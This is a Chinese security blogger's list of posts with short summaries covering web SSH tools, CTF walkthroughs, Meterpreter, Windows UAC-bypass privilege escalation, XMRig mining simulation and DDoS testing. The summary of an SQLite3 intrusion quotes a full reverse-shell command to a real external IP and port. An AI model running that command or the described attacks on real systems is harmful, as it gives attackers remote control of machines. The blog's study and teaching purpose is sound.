- 博客(909)
- 问答 (1)
- 收藏
- 关注
RSS订阅原创 Sshwifty 浏览器终端与证书配置
这一轮轮到 sshwifty，我先为它生成自签名证书，再把证书和配置通过 Docker 环境变量传进去，让浏览器从 HTTPS 入口连上服务。和前面几款放在一起，它让我多比较了一种把终端搬进网页的办法。几篇笔记都来自同一个很普通的需求：想在浏览器里管理自己的机器，于是下载、配置、试用，一款一款走过去，看看哪种方式更适合自己。原实验用预构建容器镜像运行服务，并向容器传入自签名证书和私钥，在浏览器中填写主机、SSH 端口及凭据后建立连接。原文同时下载了源码，但实际示例运行的是预构建镜像，两者是不同的部署路径。
2026-11-07 05:28:18
151
原创 WebSSH2 浏览器终端：连接和会话边界
ailx10说：这篇是我2024年6月写的。继续试 Web SSH 时，我换到了 webssh2。和前一款直接装服务不同，这回要先拉代码，改自己的 SSH 端口，再构建 Docker 镜像、映射浏览器入口。第一次输入凭据连上以后，我又观察到再次访问时的表现，便把这些使用细节一并写下来。那一阵连续试项目，文章看着像一串安装步骤，背后其实是在给自己的网站找一个合适入口：能连上只是第一步，配置方式、浏览器体验和登录状态怎么保留，也都得亲自走过才知道。WebSSH2 提供浏览器中的 SSH 终端界面。
2026-11-07 05:27:39
100
原创 phpinfo 页面识别：结构启发式的边界
我原来判断一个页面是不是 phpinfo，习惯先找 PHP Version 这样的关键字，直到做 ThinkPHP 实验时遇到只返回半截页面的情况：明明是 phpinfo，关键字却没了。于是我换了个思路，不盯某一句话，而是用 BeautifulSoup 看表格有多少行、两列单元格占多大比例。不过这仍是页面特征上的猜测，普通页面也可能长得像它；实际检测应结合多个独立特征，对已知正样本和正常页面负样本分别测试，并记录误报与漏报。接下来更需要的，是找一些不像phpinfo却结构相似的页面，看它会不会认错；
2026-11-07 05:26:58
166
原创 用大模型辅助 HTTP 告警分析的局限
ailx10说：这篇是在2024年3月之前写的，后来又改过。前阵子试过把 HTTP 请求和响应交给大模型判断攻击有没有成功，后来模型服务收费，我又换到文心一言的千帆平台试一次。先实名认证、开通计费，再配 AK/SK、装 SDK，连账单都顺手看了一眼；把一组请求响应喂进去，模型给了一个失败判断。标题写得挺夸张，实际正文是很小的一次接口调用练习。让我想继续琢磨的是，告警研判能不能借模型帮一把；不过这篇留下的，首先还是从开通服务到拿到第一次输出的那段摸索。
2026-11-07 05:26:07
188
原创 如何查看 Windows USB 存储设备记录
以前公司的电脑不让插 U 盘，还贴封条、定期检查，我一直记着这件事。后来想知道机器上到底留下过哪些 USB 存储记录，就打开注册表，沿 USBSTOR 看下去，果然能找到自己用过的一串设备厂商和型号。它的起点不是多高深的取证技巧，而是把一个工作里见过的管理要求，回到电脑上亲手查一遍：所谓“有没有插过”，系统到底保存了哪些线索。涉及调查或审计时，应遵循组织的取证与保全流程，结合其他证据分析。查看时先保留原状，弄清每个字段的含义，再决定是否需要进一步排查，比急着删掉子键更重要。
2026-11-07 05:25:13
160
原创 pandas 读取 XLSX 时出现 XML 解析错误
记录 pandas 读取 XLSX 时的 XML 解析错误，说明如何保留原文件、核对工作表及报错位置，并在副本上检查修复影响。
2026-11-06 09:28:35
163
原创 MongoDB 逐条与批量更新的性能记录
ailx10说：这篇是我2024年4月写的。项目里的 start_time 原先用 datetime，后来要换成整数时间戳，数据库里已有的数据也得跟着刷。事情本来很日常，真正跑起来才发现，逐条 update_one 和一次 bulk_write，耗时差得挺明显：几千条、几万条我都记了对应时间。顺着这次迁移，我又补了索引的例子，于是写成一篇小性能记录。它没有复杂测试框架，就是从一次必须完成的数据更新里顺手多问了一句“换个写法会怎样”，再把当时机器上测到的结果留下。一次历史测试将文档中的start_time。
2026-11-06 09:27:47
205
原创 Python 离线提取注册域名
用 tldextract 提取域名时，联网环境里一切看着挺自然，换到离线场景，默认下载后缀列表这件小事就成了拦路点。我在网上找了一圈，没有遇到顺手的完整例子，最后干脆把 public_suffix_list.dat 放本地，再调整缓存和 suffix_list_urls。它是一篇为离线交付补上的小笔记，省的是下次再为同一个路径细节绕圈。在离线环境中，可显式提供本地后缀列表，避免依赖运行时网络下载。注册域名的判断不只是截取最后两段字符串，把规则口径和文件时间一起保存，结果才更容易解释。
2026-11-06 09:26:57
220
原创 Python URL 百分号编码与解码
ailx10说：这篇是在2023年7月之前写的，后来又改过。这篇起于一个很基础的面试问题：网络传输为什么要做 URL 编码？问题听着简单，真要解释清楚，就得分开看特殊字符怎样影响解析、中文等字符怎样变成传输中的字节表示。我没有铺太大，就用 Python 的 quote 和 unquote 写了两个小例子，来回对照编码前后。它像一页随手保存的工具笔记，遇到实际参数时可以拿出来试。需要留意的是，不同位置和工具对斜杠、空格等字符的处理不完全一样，能编码再解码，不代表所有 URL 场景都能照用同一个写法。
2026-11-06 09:24:52
224
原创 网络空间安全中的误区（网络空间安全真相）
《网络空间安全真相》一书揭示了18个常见行业误区，作者通过170多个争议话题探讨了网络安全本质。文章指出：1）安全首要目标是支撑业务而非绝对防护；2）威胁情报质量重于数量；3）没有绝对安全的系统或产品；4）开源未必更安全，流行系统更易暴露漏洞；5）攻防对抗中防御难度常被低估。作者结合自身攻防经验强调，网络安全是动态平衡而非技术堆砌，需兼顾实效性与业务需求。文中还反思了密码策略、黑客演示可信度等认知偏差，指出安全与隐私并非零和博弈。
2025-07-07 10:59:18
1141
原创 认知偏见（网络空间安全真相）
《网络空间安全真相》揭示了11种常见的网络安全偏见，包括：行动偏见（急于响应钓鱼邮件）、忽略偏见（忽视简单密码风险）、幸存者偏见（低估数据泄露普遍性）等。这些认知偏差往往导致企业忽视潜在风险，如过度自信认为系统绝对安全，或盲目追随大公司技术选择。典型案例显示，即便投入巨资追求零风险，仍可能因低估低概率高危害攻击而遭受损失。该书通过170多个争议话题，破除行业谬误，强调安全决策需摒弃偏见，进行客观风险评估。
2025-07-04 11:49:27
1229
原创 网络安全碎碎恋
《一个安全开发者的成长与困惑》摘要：作者分享了自己从安全工具开发转向攻击图谱项目的经历，通过深入理解各类安全日志，为不同项目定制攻击链路分析。近期专注登录异常场景建设，工作充实但感慨时光易逝。对比2023年护网与2024年常态化工作的变化，预测2025年安全大模型将带来行业变革。文章最后反思网络安全从业者的职业定位，质疑这个被过度美化的"江湖"究竟谁能笑到最后。全文展现了技术成长的喜悦与行业前景的忧虑交织的复杂心绪。（148字）
2025-06-29 12:20:29
366
原创 手机流量监控App（GlassWire）使用指南
手机经常被监控的朋友都知道，网络上的xx帮你解除手机监控，大多数都是广告和骗子，毫不夸张的说99.99%都是广告和骗子，如果你相信自己是那个“万里挑一”之人，那么你就掏钱吧，如果超过999块钱，100%是骗子。别抬杠，抬杠就是你是对的。你可以查看手机静默状态下，哪些App在偷偷跑流量，也可以使用防火墙功能，随时随地的让哪些App使用。你只要下载一个手机App，就知道手机到底有没有被监控了，在。活动，这里第一时间就可以监控到，如果发现了木马App，只要点击Firewall（防火墙）就能阻断木马活动了。
2025-06-29 12:18:25
715
原创 模拟XMRig挖矿通信流量
本文介绍了一个用于安全演示的Python程序，模拟XMRig挖矿通信流量。程序包含客户端和服务端两部分，其中服务端改进为多线程守护进程，支持多个矿工连接。模拟挖矿函数mine()可在约2秒内完成挖矿，CPU使用率达100%，且可通过调整target参数控制挖矿难度。作者还展示了使用WireShark进行流量分析的方法。该程序完整还原了XMRig挖矿的通信行为，适用于网络安全演示场景。
2025-06-25 17:20:05
475
原创 Bugku-CTF-web(适合初学者）
本文分享了Bugku-CTF-web平台1-10题的解题思路，适合初学者学习基础网络安全知识。通过查看源代码、响应头分析、目录遍历、备份文件查找等方法，涉及Base64/Unicode编码、MD5绕过、PHP弱类型比较等知识点。解题过程包含使用F12开发者工具、dirb目录扫描、wget下载.git文件、Hackbar插件发送POST请求等实操技巧，并提供了Python和PHP代码示例来辅助解题。这些基础题目帮助新手掌握Web安全的基本技能和思维方式。
2025-06-25 17:19:18
754
原创 Meterpreter 简单入门
本文简要介绍了Meterpreter后渗透测试工具的基本使用方法，包括控制端配置、载荷生成与投递、核心命令操作等内容。文章详细列举了Meterpreter在文件操作、网络监控、系统控制、用户界面交互、摄像头操作等方面的常用命令，如上传下载文件、获取系统信息、键盘记录、屏幕截图等。同时还介绍了权限提升、密码数据库导出等高级功能。这些命令可以帮助安全人员快速了解Meterpreter的强大功能，适用于网络安全入门学习和渗透测试实践。
2025-06-23 18:30:00
1256
原创 Win10提权简单入门
本文介绍了利用Metasploit框架进行Windows 10提权的实验过程。首先通过生成恶意载荷获取普通用户权限，随后使用local_exploit_suggester模块检测可用提权漏洞。重点演示了bypassuac_fodhelper漏洞的利用方法，通过简单配置成功将普通权限提升至SYSTEM权限。实验证明，在关闭杀毒防护的情况下，Windows提权操作相对简单。需要注意的是，该技术仅适用于安全研究和合法授权场景。
2025-06-23 13:08:49
568
原创 收手吧，在矿池打工的XMRig
摘要：挖矿收益微乎其微，2台服务器运行24小时预估收益仅1分钱。测试使用XMRig程序连接矿池，12小时仅挖到0.00000466门罗币（约0.00549元）。文章还演示了自动下载挖矿程序、添加计划任务和启动项的脚本代码，并通过tcpdump抓包分析挖矿通信流程。结论：普通设备挖矿入不敷出，且存在法律风险，不建议尝试。（98字）
2025-06-23 13:07:35
699
原创 sqlite3 数据库反弹shell
摘要：一位开发者在Python Flask项目中仅开放80端口并使用SQLite3数据库，未做安全校验，导致网站一天内被黑客攻陷。黑客利用SQLite3支持shell命令的特性，通过反弹shell（如bash -i >& /dev/tcp/144.34.162.13/6666 0>&1）控制服务器。漏洞源于代码未过滤用户输入，直接执行数据库操作。事后开发者优化了代码，记录了漏洞扫描IP，并检查服务器未发现rootkit残留。该事件暴露了SQLite3命令执行风险及输入校验的重要性
2025-06-22 10:18:44
527
原创 GoDaddy域名托管到Cloudflare
上周，花了300多块钱，买了 GoDaddy 的域名（3年），结果不让转移到其他厂商，正郁闷呢。打拒绝服务攻击流量，果然成功防御了，GoDaddy 域名托管到 Cloudflare，轻轻松松获得安全防护，爱了爱了。（7）设置域名服务器，选择使用自己的域名服务器，粘贴Cloudflare为你分配的域名服务器。（8）点击保存，提示成功，正在处理申请，我的不到10分钟就好了，最迟24小时。（不是转移），也就是开启小黄云，免费获得 Cloudflare 的。（3）点击继续，进入域名管理，可以添加子域名A记录等。
2025-06-22 09:15:48
862
原创 Cloudflare 域名站点自带DDoS防御
打7层DDoS，Cloudflare 配置了L7层的CC防御，显示拦截了90%的CC流量，结果站点访问很卡，但是正常用户依然能访问。可自动缓解基于 HTTP 的 DDoS 攻击，如 HTTP 泛洪、放大 HTTP 攻击和反射 HTTP 攻击。可自动缓解基于 SSL/TLS 和网络层 DDoS 攻击，如 SYN 泛洪和 UDP 反射攻击。4、自动拦截4层DDoS攻击（为啥我 hping3 发不出去，大雾）打4层DDoS，结果直接无法用了（大雾），可能是。（1）HTTP DDoS 攻击防护（自己配置的）
2025-06-22 09:09:32
519
原创 Bugku-CTF-web
本文总结了Bugku-CTF平台61-67题Web安全挑战的解题思路，涉及多种高级漏洞利用技术。重点包括：1. Java反序列化漏洞（61题）使用ysoserial生成payload实现RCE；2. Python反序列化（63题）通过pickle模块构造恶意对象；3. Fastjson反序列化（64题）利用JNDI注入实现远程代码执行；4. 模板注入绕过（65题）巧妙构造SSTI payload；5. CBC字节翻转攻击（66题）通过修改IV和密文控制解密结果；6. 创新文件删除技术（67题）结合ZipAr
2025-06-22 08:48:55
923
原创 漏洞（网络空间安全真相）
《网络安全认知误区解析》 《网络空间安全真相》一书揭示了网络安全领域的常见认知误区。作者指出：1)漏洞并不罕见，仅2023年就披露2.8万个漏洞；2)攻击者并非都专业，10年前的攻击手法仍在被使用；3)漏洞修复存在滞后性，部分厂商半年仍未修补已知漏洞；4)并非所有攻击都依赖技术漏洞，社会工程学同样有效；5)简单代码也存在漏洞，且旧的安全防御措施会随时间失效。 文章还强调，漏洞评分复杂且名称不能反映重要性，而漏洞披露流程也存在合规风险(如阿里云被罚案例)。这些认知误区提醒我们，网络安全需要持续更新防御策略。
2025-06-13 21:30:08
995
原创 普通人怎样用好Deepseek?
【摘要】作者分享了借助DeepSeek AI工具提升工作效率的经历：2025年4月通过DeepSeek实现了日志工具的远程代理功能，使其成为团队标准工具；探讨了专家需兼具深度与广度的矛盾性，指出AI工具让普通人也能成为"爽文男主"型专家；反思对新兴技术的认知局限（最初低估DeepSeek，后见证其爆发）；强调要善用AI提示词工程（如RTGO结构）和"科技与狠活"方法快速构建智能体；提出普通人使用AI的关键在于实践应用与持续学习（看书+实战+交流+总结）。文章展现了AI
2025-06-13 21:12:11
1094
原创 工作邮箱收到钓鱼邮件，点了链接进去无法访问，会有什么问题吗?
【摘要】网络安全实验揭示邮件防范漏洞：研究人员测试勒索攻击时发现，邮件网关能拦截exe/bat程序及压缩包，但钓鱼网址可突破防御。攻击者诱导用户下载含pdf的压缩包，打开时后台同步运行加密程序，将密钥传至服务器，导致文件被加密。实验证明看似无害的pdf可能隐藏恶意代码，提醒用户谨慎处理邮件附件和不明链接。（150字）
2025-06-08 14:56:21
466
原创 如何在最短时间内提升打ctf（web)的水平？
《高效刷题提升CTF-web技能的三步法》摘要：本文分享刷题提升CTF-web技能的有效方法，建议采用三遍刷题法：第一遍看writeup理解思路，第二遍独立解题，第三遍讲解思路加深理解。文章按难度系数1-5分类整理了Bugku-CTF的web题目路线：从基础的源代码审计、前端绕过(难度1)，到目录扫描、PHP特性利用(难度2)，再到SQL注入、文件包含(难度3)，以及XSS、反序列化(难度4)，最后到盲注、原型链污染等高阶技巧(难度5)。这种阶梯式训练配合三遍学习法，能系统性地提升CTF-web实战能力。
2025-06-08 14:51:26
1240
原创 Bugku-CTF-Web安全最佳刷题路线
《CTF刷题路线：Web安全从入门到进阶》 摘要：本文为网络安全爱好者提供Bugku-CTF平台Web安全方向的系统性刷题路线。按照难度系数划分为5个等级，涵盖基础到高阶的Web安全知识点。从简单的查看源代码、绕过前端限制等基础操作（难度1），到SQL注入、文件包含（难度3），再到XSS、反序列化等高级漏洞利用（难度4-5）。每道题目都标注了核心考察点，如Burp使用、PHP伪协议、Flask模板注入等，帮助学习者循序渐进掌握Web安全攻防技能。作者ailx10作为网络安全领域优秀答主，分享其整理的实战刷题
2025-06-07 21:22:02
1457
原创 xctf-weak_auth（弱口令）
摘要：文章探讨了网络安全中的弱口令漏洞问题，指出HTTP登录中使用弱口令（如"admin/123456"）会带来严重风险。弱口令具有三个特点：短小（易被暴力破解）、简单（含常见词汇或连续数字）、缺乏复杂性（缺少大小写字母和特殊字符组合）。作者以实例演示了如何通过猜测简单密码获取系统权限，并提醒密码设置需在安全性与易记性间取得平衡。该内容出自网络安全专栏，由专业攻防人员撰写，旨在普及Web安全基础知识。
2025-06-07 21:16:12
443
原创 xctf-bilibili（Intruder，JWT，Python反序列化）
这篇CISCN竞赛分析展示了从JWT破解到Python反序列化的完整渗透过程。首先通过BurpSuite Intruder模块定位lv6购买页面，发现需要admin权限后，对JWT进行暴力破解获得密钥"1Kun"，伪造admin令牌进入后台获取源码。审计发现Python2.7存在pickle反序列化漏洞，构造恶意序列化字符串执行系统命令，最终通过cat/flag.txt获取flag。整个过程融合了web渗透、加密破解和代码审计技术，体现了典型的多层次安全攻防思路。
2025-06-05 15:26:05
763
原创 攻防世界-XCTF-Web安全最佳刷题路线
摘要：本文分享XCTF Web安全刷题路线，由网络安全专家ailx10整理。题目按难度分为5个等级：1级包含robots.txt、HTTP请求等基础题；2级涉及SQL注入、命令执行；3级为PHP反序列化、文件包含等进阶内容；4级包含模版注入、SSRF等复杂漏洞；5级是最高难度，涉及多种漏洞组合利用。文章强调CTF需专精某个领域，同时提供了详细的刷题指南，适合不同阶段的Web安全学习者参考。
2025-06-05 15:20:26
1439
原创 win10打包的exe在win7运行不了
最近使用python开发了一个通用打日志工具，可以快速的复现安全场景，相比pcap包回放的弯弯绕绕，poclogsender 直接打日志到，具有明显的优势，一瞬间风靡整个前场交付和安服，用过的都说好。但是到客户现场的时候，发现有些甲方还在使用很老的win7系统，说我写的工具不能用，缺少dll，说实话真的搞心态，这能怪我吗？我在win10上开发的，win7用不了是合理的呀，但是有些用户不这么想，只要我用不了，就是你写的工具有问题。
2025-06-04 17:04:35
1451
原创 Fiddler Everywhere 安卓手机抓包
《FiddlerEverywhere抓包工具助力手机流量分析》摘要 本文介绍了使用FiddlerEverywhere工具分析手机流量的方法。通过配置远程设备抓包功能，用户可对安卓/iOS设备的HTTP/HTTPS流量进行监控。文章详细说明了从下载安装CA证书、配置Wi-Fi代理到连接测试的全流程。重点展示了如何利用统计功能快速识别高频访问的IP/域名，并通过搜索过滤特定应用流量。文末特别提醒实验后需关闭代理设置。该工具为排查手机异常流量提供了便捷的技术手段，适用于网络安全分析场景。（150字）
2025-06-04 17:01:55
1463
原创 安全大模型的思考
摘要：网络安全从业者ailx10分享2025年护网备战心得。在AI大模型培训中获得重要启示，将单机工具poclogsender升级为SaaS联机版，实现数据云端同步和用户协同。文章指出网络安全运营中，精准的攻击特征库建设比大模型包装更重要，强调数据收集和验证对产品迭代的关键作用，揭露部分厂商用大模型包装传统研判引擎的现象。作者认为，无论是工具开发还是安全运营，从"单兵作战"转向"协同作战"才是提升效能的核心。（149字） 注：摘要提炼了原文核心内容，包括：1)工具升级
2025-06-03 18:57:52
796
原创 网络安全的学习路线是怎么样的？
我是几乎完全自学的，十年前从双非跨专业考研到网络安全专业，读研之前，C语言是自学的，数据结构是自学的，计算机网络是自学的，操作系统是自学的，微机原理是自学的。为了让我们能跟上学习进度，开学前的暑假，学院给我们安排了补课，我依然记得院长给我们布置的作业，是用汇编语言写冒泡排序，我室友写出来了，我写不出来。读研之时，跟着恩师学习了Web安全（OWASP10），信息安全（Pwn），计算机病毒（），高级网络（）等，对于零基础的我来说都很难，在恩师的众多学生中，我算是最勤勉的了（之一），没有逃一节课，次次坐前排。
2025-06-02 16:09:04
1321
2
原创 安全态势感知中的安全事件可信度思考
本文介绍了作者2020年提交的两项网络安全专利技术，重点阐述了一种创新的告警可信度算法设计。该算法通过结合皮尔逊相关系数、3sigma异常检测和概率论方法，动态评估安全事件的真实风险。具体实现包括：基于7天窗口的流量特征异常检测、安全事件与流量特征的关联分析，以及条件概率计算来判定告警可信度。该方法有效解决了静态规则在动态场景中的误报问题，即使在当前仍具有先进性，但由于涉及大量流量数据，实际落地存在挑战。
2025-06-02 15:33:28
821
原创 安全态势感知中的告警误报思考
网络安全专家ailx10在2021年实现重大突破，创新性提出"灰色事件"概念和误报识别系统，通过定义"内对内多打一"和"内对内一打一"两种场景，结合泊松分布理论构建智能评估模型。其专利技术（2021年9月申请）率先实现基于用户处置信息的自学习能力，现已成为行业标配。该系统针对海量未知告警场景特别有效，通过量化分析源地址分布、告警频次等特征参数，实现了误报自动化识别，显著提升了安全态势感知的精准性。（148字）
2025-06-02 15:25:14
1305
原创 网络安全真的很难找工作吗?
2025年网络安全招聘呈现两极分化趋势：外包岗位要求掌握XSS、SSRF、SQL注入等实战漏洞利用技能；正式岗位需具备IoT固件开发、机器学习检测等高级能力。面试流程加入CTF解题、逆向工程等专业测试。文章指出，AI大模型的快速发展正重塑行业格局，能高效处理海量告警，导致90%传统安服人员被取代。作者强调，未来安全从业者必须掌握AI工具应用能力，用大模型解决实际挑战才是核心竞争力，单靠经验已难以立足。
2025-05-30 10:44:08
414
原创 app获取相册权限是否意味着所有相片都可随时读取？
安卓应用在获得相册权限后，确实能自动读取用户照片。实验证明：需要用户手动选择的App只能获取指定单张照片；而另一款App无需用户操作即可自动扫描并显示相册内容（测试显示4587/7445张照片）。手机权限记录显示，获得权限的App会实时访问照片数据。结论：授予相册权限意味着照片可能被后台读取，建议用户检查各App权限使用情况。
2025-05-27 20:59:13
1800
原创 网络安全方向在校生有哪些证书适合考取？
网络安全领域，证书并非核心竞争力。作者花费1.1万考取CISSP证书后，发现高薪职位还需OSCP等更多认证。同事通过OSCP获得安全总监职位，而自己仍在基础岗位。2024年行业寒冬导致企业裁员、降薪，证书培训价格大幅下跌。最终感悟：实力远胜证书，花钱就能拿到的认证已丧失价值。行业变化证明，真正的能力才是立足之本。
2025-05-27 20:54:19
1388
空空如也
c语言正则表达式抓取网站的<title>
2016-01-29
TA创建的收藏夹 TA关注的收藏夹
TA关注的人